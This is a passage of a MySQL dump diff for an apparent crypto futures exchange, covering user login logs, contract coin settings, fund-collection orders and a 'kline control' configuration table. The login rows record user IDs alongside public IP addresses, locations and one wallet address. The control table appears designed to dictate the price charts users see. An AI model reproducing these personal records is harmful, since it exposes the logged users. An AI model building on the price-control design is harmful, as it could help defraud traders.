utf8mb4_bin NULL DEFAULT '0' COMMENT '登录状态(0成功 1失败)', + `msg` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `login_time` datetime(0) NULL DEFAULT NULL COMMENT '访问时间', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_username`(`username`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1679060039274389987 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin COMMENT = '系统访问记录' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_appuser_login_log +-- ---------------------------- +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389925, 309, '', '156.251.226.70', '中国|0|香港|0|0', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-11-19 00:48:57'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389926, 309, '', '172.104.189.39', '新加坡|0|0|0|0', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-11-20 01:56:24'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389927, 309, '', '183.46.216.116', '中国|0|广东|汕头|电信', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-11-20 02:45:32'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389928, 309, '', '8.217.118.202', '中国|0|0|0|阿里巴巴', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-11-20 03:00:26'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389929, 309, '', '8.217.118.202', '中国|0|0|0|阿里巴巴', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-11-20 03:00:26'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389930, 309, '', '103.148.104.100', '孟加拉|0|0|0|0', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2023-11-23 17:02:55'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389931, 309, '', '103.148.104.100', '孟加拉|0|0|0|0', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2023-11-23 17:06:43'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389932, 309, '', '8.218.227.17', '中国|0|0|0|阿里巴巴', 'Chrome 11', 'Windows 10', '0', '退出登录成功', '2023-11-23 17:07:51'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389933, 315, '', '8.218.227.17', '中国|0|0|0|阿里巴巴', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-11-23 17:07:58'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389934, 309, '', '223.119.162.35', '中国|0|香港|0|移动', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2023-11-23 20:43:06'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389935, 309, '', '223.119.162.35', '中国|0|香港|0|移动', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2023-11-23 20:47:22'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389936, 309, '', '223.119.162.35', '中国|0|香港|0|移动', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2023-11-23 20:53:16'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389937, 309, '', '223.19.231.206', '中国|0|香港|0|和记电讯', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-11-23 21:27:31'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389938, 309, '', '223.19.231.206', '中国|0|香港|0|和记电讯', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-11-23 22:11:40'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389939, 309, '', '146.190.48.186', '美国|0|俄勒冈|0|0', 'Chrome 11', 'Windows 10', '0', '退出登录成功', '2023-12-07 04:22:38'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389940, 309, '', '146.190.48.186', '美国|0|俄勒冈|0|0', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-12-07 17:16:41'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389941, 309, '', '8.218.51.204', '中国|0|0|0|阿里巴巴', 'Chrome Mobile', 'Android 1.x', '0', '用户登录', '2023-12-07 20:40:55'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389942, 309, '', '45.255.126.81', '中国|0|香港|0|Telenor', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2023-12-07 20:41:32'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389943, 309, '', '115.164.45.127', '马来西亚|0|吉隆坡|0|DiGi-Telecommunication', 'Chrome Mobile', 'Mac OS X (iPhone)', '0', '用户登录', '2023-12-07 20:55:18'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389944, 309, '', '115.164.40.40', '马来西亚|0|吉隆坡|0|DiGi-Telecommunication', 'Chrome Mobile', 'Mac OS X (iPhone)', '0', '退出登录成功', '2023-12-07 21:57:07'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389945, 309, '', '115.164.49.203', '马来西亚|0|吉隆坡|0|DiGi-Telecommunication', 'Chrome Mobile', 'Mac OS X (iPhone)', '0', '用户登录', '2023-12-07 22:37:04'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389946, 309, '', '115.164.40.122', '马来西亚|0|吉隆坡|0|DiGi-Telecommunication', 'Chrome Mobile', 'Mac OS X (iPhone)', '0', '退出登录成功', '2023-12-08 01:37:02'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389947, 309, '', '115.164.48.29', '马来西亚|0|吉隆坡|0|DiGi-Telecommunication', 'Chrome Mobile', 'Mac OS X (iPhone)', '0', '用户登录', '2023-12-08 01:54:01'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389948, 309, '', '115.164.40.79', '马来西亚|0|吉隆坡|0|DiGi-Telecommunication', 'Chrome Mobile', 'Mac OS X (iPhone)', '0', '退出登录成功', '2023-12-08 02:20:32'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389949, 317, '0x10879c7c320fe391f400369b8d74c0b34a201cf6', '115.164.48.196', '马来西亚|0|吉隆坡|0|DiGi-Telecommunication', 'Chrome Mobile', 'Mac OS X (iPhone)', '0', '用户登录', '2023-12-08 02:23:48'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389950, 309, '', '115.164.40.99', '马来西亚|0|吉隆坡|0|DiGi-Telecommunication', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2023-12-08 02:32:36'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389951, 309, '', '115.164.48.13', '马来西亚|0|吉隆坡|0|DiGi-Telecommunication', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '退出登录成功', '2023-12-08 02:33:53'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389952, 315, '', '115.164.48.13', '马来西亚|0|吉隆坡|0|DiGi-Telecommunication', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2023-12-08 02:34:14'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389953, 309, '', '168.138.219.93', '巴西|0|0|0|0', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-12-08 03:00:00'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389954, 309, '', '168.138.219.93', '巴西|0|0|0|0', 'Chrome 11', 'Windows 10', '0', '退出登录成功', '2023-12-08 03:03:31'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389955, 309, '', '168.138.219.93', '巴西|0|0|0|0', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-12-08 03:03:47'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389956, 309, '', '223.19.177.3', '中国|0|香港|0|和记电讯', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2023-12-22 17:05:43'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389957, 309, '', '103.116.44.181', '中国|0|香港|0|0', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2023-12-25 22:14:11'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389958, 309, '', '121.123.35.37', '马来西亚|0|吉隆坡|0|MAXIS', 'Chrome Mobile', 'Mac OS X (iPhone)', '0', '用户登录', '2023-12-25 22:27:01'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389959, 309, '', '185.220.239.2', '俄罗斯|0|0|0|0', 'Firefox 12', 'Windows 10', '0', '用户登录', '2023-12-29 18:25:42'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389960, 319, '', '114.86.122.46', '中国|0|上海|上海|电信', 'Chrome 11', 'Windows 10', '0', '用户登录', '2024-01-15 23:53:19'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389961, 315, '', '57.181.21.252', '比利时|0|0|0|0', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-01-19 12:05:53'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389962, 309, '', '47.242.19.206', '中国|0|香港|0|阿里云', 'Chrome 12', 'Windows 10', '0', '用户登录', '2024-01-19 12:13:25'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389963, 309, '', '8.218.149.22', '中国|0|0|0|阿里巴巴', 'Chrome 12', 'Windows 10', '0', '退出登录成功', '2024-01-19 12:18:42'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389964, 320, '', '47.242.19.206', '中国|0|香港|0|阿里云', 'Chrome 12', 'Windows 10', '0', '用户登录', '2024-01-19 12:18:56'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389965, 309, '', '182.239.115.111', '中国|0|香港|0|移动', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-01-19 15:07:48'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389966, 321, '', '183.182.111.77', '老挝|0|0|0|Unitel', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-01-19 18:52:41'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389967, 315, '', '47.243.47.157', '中国|0|香港|0|阿里云', 'Chrome Mobile', 'Android 1.x', '0', '用户登录', '2024-01-20 22:58:39'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389968, 309, '', '117.18.231.3', '缅甸|0|Yangon|0|缅甸电信', 'Chrome Mobile', 'Android 1.x', '0', '用户登录', '2024-01-20 23:18:03'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389969, 309, '', '182.239.115.111', '中国|0|香港|0|移动', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-01-23 18:42:16'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389970, 309, '', '206.119.117.137', '美国|0|华盛顿特区|华盛顿特区|科进', 'Chrome Mobile', 'Android 6.x', '0', '用户登录', '2024-01-23 18:49:04'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389971, 309, '', '154.31.113.10', '美国|0|纽约|纽约|科进', 'Chrome 12', 'Windows 10', '0', '用户登录', '2024-01-25 23:44:05'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389972, 309, '', '183.182.110.223', '老挝|0|0|0|Unitel', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-01-29 20:05:41'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389973, 309, '', '172.104.190.252', '新加坡|0|0|0|0', 'Chrome 12', 'Windows 10', '0', '用户登录', '2024-02-08 23:03:05'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389974, 309, '', '104.245.100.188', '美国|0|加利福尼亚|0|0', 'Chrome 12', 'Windows 10', '0', '用户登录', '2024-02-11 15:19:59'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389975, 309, '', '104.245.100.188', '美国|0|加利福尼亚|0|0', 'Chrome 12', 'Windows 10', '0', '用户登录', '2024-02-11 15:20:30'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389976, 309, '', '203.91.85.222', '澳大利亚|0|0|0|0', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-02-12 02:02:46'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389977, 336, '', '192.168.1.11', '0|0|0|内网IP|内网IP', 'Chrome 12', 'Windows 10', '0', '用户登录', '2024-02-14 23:16:21'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389978, 336, '', '127.0.0.1', '0|0|0|内网IP|内网IP', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-02-15 22:19:01'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389979, 336, '', '127.0.0.1', '0|0|0|内网IP|内网IP', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '退出登录成功', '2024-02-16 18:42:36'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389980, 336, '', '127.0.0.1', '0|0|0|内网IP|内网IP', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-02-16 18:43:10'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389981, 336, '', '127.0.0.1', '0|0|0|内网IP|内网IP', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '退出登录成功', '2024-02-16 22:52:23'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389982, 336, '', '127.0.0.1', '0|0|0|内网IP|内网IP', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-02-16 22:52:51'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389983, 336, '', '127.0.0.1', '0|0|0|内网IP|内网IP', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-02-16 23:17:32'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389984, 336, '', '127.0.0.1', '0|0|0|内网IP|内网IP', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-02-17 19:09:21'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389985, 336, '', '127.0.0.1', '0|0|0|内网IP|内网IP', 'Chrome 12', 'Windows 10', '0', '用户登录', '2024-02-18 01:36:12'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389986, 336, '', '127.0.0.1', '0|0|0|内网IP|内网IP', 'Chrome 12', 'Windows 10', '0', '用户登录', '2024-02-18 01:36:52'); + +-- ---------------------------- +-- Table structure for t_bot_kline_model +-- ---------------------------- +DROP TABLE IF EXISTS `t_bot_kline_model`; +CREATE TABLE `t_bot_kline_model` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT 'id', + `decline` int(0) NULL DEFAULT NULL COMMENT '最大跌幅', + `granularity` int(0) NULL DEFAULT NULL COMMENT '控制粒度', + `increase` int(0) NULL DEFAULT NULL COMMENT '最大涨幅', + `model` int(0) NULL DEFAULT NULL COMMENT '控盘策略', + `price_pencent` int(0) NULL DEFAULT NULL COMMENT '浮动比例', + `symbol` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易对', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '修改人', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '值', + `begin_time` datetime(0) NULL DEFAULT NULL COMMENT '开始时间', + `end_time` datetime(0) NULL DEFAULT NULL COMMENT '结束时间', + `line_chart_data` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `con_price` decimal(30, 6) NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 55 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '控线配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_bot_kline_model_info +-- ---------------------------- +DROP TABLE IF EXISTS `t_bot_kline_model_info`; +CREATE TABLE `t_bot_kline_model_info` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT 'id', + `model_id` bigint(0) NULL DEFAULT NULL COMMENT 't_bot_kline_model 的主键', + `date_time` bigint(0) NULL DEFAULT NULL COMMENT '时间戳', + `open` decimal(20, 16) NULL DEFAULT NULL COMMENT '开盘价', + `close` decimal(20, 16) NULL DEFAULT NULL COMMENT '封盘价', + `high` decimal(20, 16) NULL DEFAULT NULL COMMENT '最高价', + `low` decimal(20, 16) NULL DEFAULT NULL COMMENT '最低价', + `x` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'x轴', + `y` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'y轴', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '控线详情表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_collection_order +-- ---------------------------- +DROP TABLE IF EXISTS `t_collection_order`; +CREATE TABLE `t_collection_order` ( + `id` int(0) NOT NULL COMMENT '主键ID', + `order_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '订单号', + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户ID', + `address` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '归集地址', + `chain` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '地址类型', + `hash` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'hash', + `coin` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种', + `amount` decimal(20, 6) NULL DEFAULT NULL COMMENT '归集金额', + `status` varchar(2) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '1 进行中 2 归集成功 3 归集失败', + `client_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '客户端名称', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `create_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '创建人', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '修改时间', + `update_by` datetime(0) NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP(0) COMMENT '修改人', + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + `search_value` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_contract_coin +-- ---------------------------- +DROP TABLE IF EXISTS `t_contract_coin`; +CREATE TABLE `t_contract_coin` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `symbol` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '交易对', + `coin` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '币种', + `base_coin` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '基础币种', + `share_number` decimal(20, 8) NULL DEFAULT NULL COMMENT '合约面值(1手多少 如 1手=0.01BTC)', + `leverage` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '杠杆倍数', + `enable` int(0) NOT NULL DEFAULT 0 COMMENT '0 启用 1 禁止', + `visible` int(0) NOT NULL DEFAULT 0 COMMENT '前端显示0启用 1 禁止', + `exchangeable` int(0) NOT NULL DEFAULT 0 COMMENT '是否可交易(0 可以 1 禁止)', + `enable_open_sell` int(0) NOT NULL DEFAULT 0 COMMENT '开空 (0 是 1 否)', + `enable_open_buy` int(0) NOT NULL DEFAULT 0 COMMENT '开多 (0 是 1 否)', + `enable_market_sell` int(0) NOT NULL DEFAULT 0 COMMENT '市价开空(0 是 1否)', + `enable_market_buy` int(0) NOT NULL DEFAULT 0 COMMENT '市价开多(0 是 1否)', + `open_fee` decimal(20, 8) NOT NULL COMMENT '开仓手续费', + `close_fee` decimal(20, 8) NOT NULL COMMENT '平仓手续费', + `usdt_rate` decimal(20, 8) NOT NULL DEFAULT 0.00000000 COMMENT '资金费率', + `interval_hour` decimal(20, 2) NOT NULL COMMENT '资金周期', + `coin_scale` decimal(10, 2) NULL DEFAULT NULL COMMENT '币种小数精度', + `base_scale` decimal(10, 2) NULL DEFAULT NULL COMMENT '基础币小数精度', + `min_share` decimal(10, 2) NULL DEFAULT NULL COMMENT '最小数(以手为单位 )', + `max_share` decimal(10, 2) NULL DEFAULT NULL COMMENT '最大数(以手为单位 )', + `total_profit` decimal(20, 8) NULL DEFAULT NULL COMMENT '平台收益', + `sort` int(0) NULL DEFAULT NULL COMMENT '排序字段', + `create_time` datetime(0) NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL, + `show_symbol` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '显示币种', + `logo` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, + `market` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, + `delivery_days` int(0) NULL DEFAULT 0 COMMENT '交割时间', + `min_margin` decimal(20, 4) NULL DEFAULT 0.0000 COMMENT '最小保证金', + `loss_rate` decimal(20, 4) NULL DEFAULT 0.0000 COMMENT '止损率', + `earn_rate` decimal(20, 4) NULL DEFAULT 0.0000 COMMENT '止盈率', + `float_profit` decimal(20, 6) NULL DEFAULT 0.000000 COMMENT '浮动盈利点', + `profit_loss` decimal(20, 6) NULL DEFAULT NULL COMMENT '浮动盈亏', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 15 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_contract_coin +-- ---------------------------- +INSERT INTO `t_contract_coin` VALUES (4, 'btcusdt', 'btc', 'USDT', 0.00010000, '5,10,20,50,100', 0, 0, 0, 0, 0, 0, 0, 0.00100000, 0.00100000, 0.00010000, 8.00, 4.00, 4.00, 1.00, 1000000.00, NULL, 1, '2023-08-09 10:16:08', '2023-12-08 01:34:22', 'BTC/USDT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin.png', 'binance', 0, 0.0000, 0.0000, 0.0000, 0.000000, NULL); +INSERT INTO `t_contract_coin` VALUES (5, 'ethusdt', 'eth', 'usdt', 0.00100000, '5,10,20', 0, 0, 0, 0, 0, 0, 0, 0.00100000, 0.00100000, 0.00010000, 8.00, 4.00, 4.00, 1.00, 1000000.00, NULL, 2, '2023-08-10 10:57:00', '2023-08-10 17:35:51', 'ETH/USDT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum.png', 'binance', 0, 0.0000, 0.0000, 0.0000, 0.000000, NULL); +INSERT INTO `t_contract_coin` VALUES (6, 'trxusdt', 'trx', 'usdt', 1.00000000, '5,10,20,50', 0, 0, 0, 0, 0, 0, 0, 0.00100000, 0.00100000, 0.00100000, 8.00, 4.00, 4.00, 1.00, 10000.00, NULL, 3, '2023-08-10 13:37:00', NULL, 'TRX/USDT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tron.png', 'binance', 0, 0.0000, 0.0000, 0.0000, 0.000000, NULL); +INSERT INTO `t_contract_coin` VALUES (8, 'xrpusdt', 'xrp', 'USDT', 1.00000000, '5,10,20,50', 0, 0, 0, 0, 0, 0, 0, 0.00100000, 0.00100000, 0.00100000, 8.00, 4.00, 4.00, 1.00, 10000.00, NULL, 4, '2023-08-21 19:33:34', '2023-08-21 19:37:36', 'XRP/USDT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ripple.png', 'binance', 0, 0.0000, 0.0000, 0.0000, 0.000000, NULL); +INSERT INTO `t_contract_coin` VALUES (9, 'ltcusdt', 'ltc', 'USDT', 0.01000000, '2,5,10,20,50', 0, 0, 0, 0, 0, 0, 0, 0.00100000, 0.00100000, 0.00100000, 8.00, 4.00, 4.00, 1.00, 1000.00, NULL, 5, '2023-08-21 19:35:59', '2023-08-21 19:41:39', 'LTC/USDT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litecoin.png', 'binance', 0, 0.0000, 0.0000, 0.0000, 0.000000, NULL); +INSERT INTO `t_contract_coin` VALUES (10, 'bnbusdt', 'bnb', 'USDT', 0.00100000, '5,10,20,50', 0, 0, 0, 0, 0, 0, 0, 0.00100000, 0.00100000, 0.00100000, 8.00, 4.00, 4.00, 1.00, 1000.00, NULL, 6, '2023-08-21 19:41:07', NULL, 'BNB/USDT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binance-coin.png', 'binance', 0, 0.0000, 0.0000, 0.0000, 0.000000, NULL); +INSERT INTO `t_contract_coin` VALUES (11, 'maticusdt', 'matic', 'USDT', 0.01000000, '5,10,20,50', 0, 0, 0, 0, 0, 0, 0, 0.00100000, 0.00100000, 0.00100000, 8.00, 4.00, 4.00, 1.00, 10000.00, NULL, 7, '2023-08-21 19:42:41', NULL, 'MATIC/USDT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/da9bc5822529a2c225e057c0d8d50f36.png', 'binance', 0, 0.0000, 0.0000, 0.0000, 0.000000, NULL); +INSERT INTO `t_contract_coin` VALUES (12, 'solusdt', 'sol', 'USDt', 0.01000000, '5,10,20,50', 0, 0, 0, 0, 0, 0, 0, 0.00100000, 0.00100000, 0.00100000, 8.00, 4.00, 4.00, 1.00, 100000.00, NULL, 8, '2023-08-21 19:43:44', NULL, 'SOL/USDT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solana.png', 'binance', 0, 0.0000, 0.0000, 0.0000, 0.000000, NULL); +INSERT INTO `t_contract_coin` VALUES (13, 'dogeusdt', 'doge', 'USDT', 1.00000000, '5,10,20,50', 0, 0, 0, 0, 0, 0, 0, 0.00100000, 0.00100000, 0.00100000, 8.00, 4.00, 4.00, 1.00, 10000.00, NULL, 13, '2023-08-21 19:45:30', '2023-08-22 10:01:00', 'DOGE/USDT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/dogecoin.png/coinInfo.png', 'binance', 0, 0.0000, 0.0000, 0.0000, 0.000000, NULL); +INSERT INTO `t_contract_coin` VALUES (14, 'leverusdt', 'lever', 'USDT', 100.00000000, '5,10,20', 0, 0, 0, 0, 0, 0, 0, 0.00100000, 0.00100000, 0.00100000, 8.00, 4.00, 4.00, 1.00, 10000.00, NULL, 13, '2023-08-22 17:18:20', '2023-08-22 17:18:48', 'LEVER/USDT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lever.jpeg', 'binance', 0, 0.0000, 0.0000, 0.0000, 0.000000, NULL); + +-- ---------------------------- +-- Table structure for t_contract_loss +-- ---------------------------- +DROP TABLE IF EXISTS `t_contract_loss`; +CREATE TABLE `t_contract_loss` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键', + `delegate_type` tinyint(1) NULL DEFAULT NULL COMMENT '委托类型(0 限价 1 市价)', + `status` tinyint(1) NULL DEFAULT NULL COMMENT '状态 0 正常 1 删除 2 撤销', + `position_id` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '仓位ID', + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户id', + `earn_price` decimal(20, 6) NOT NULL DEFAULT 0.000000 COMMENT '止盈触发价', + `lose_price` decimal(20, 6) NOT NULL DEFAULT 0.000000 COMMENT '止损触发价', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `earn_delegate_price` decimal(20, 6) NOT NULL DEFAULT 0.000000 COMMENT '止盈委托价', + `lose_delegate_price` decimal(20, 6) NOT NULL DEFAULT 0.000000 COMMENT '止损委托价', + `earn_number` decimal(20, 6) NOT NULL DEFAULT 0.000000 COMMENT '止盈数量', + `lose_number` decimal(20, 6) NOT NULL DEFAULT 0.000000 COMMENT '止损数量', + `loss_type` int(0) NULL DEFAULT NULL COMMENT '0 止盈 1止损', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `type` int(0) NULL DEFAULT NULL, + `leverage` decimal(4, 0) NULL DEFAULT NULL, + `symbol` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table 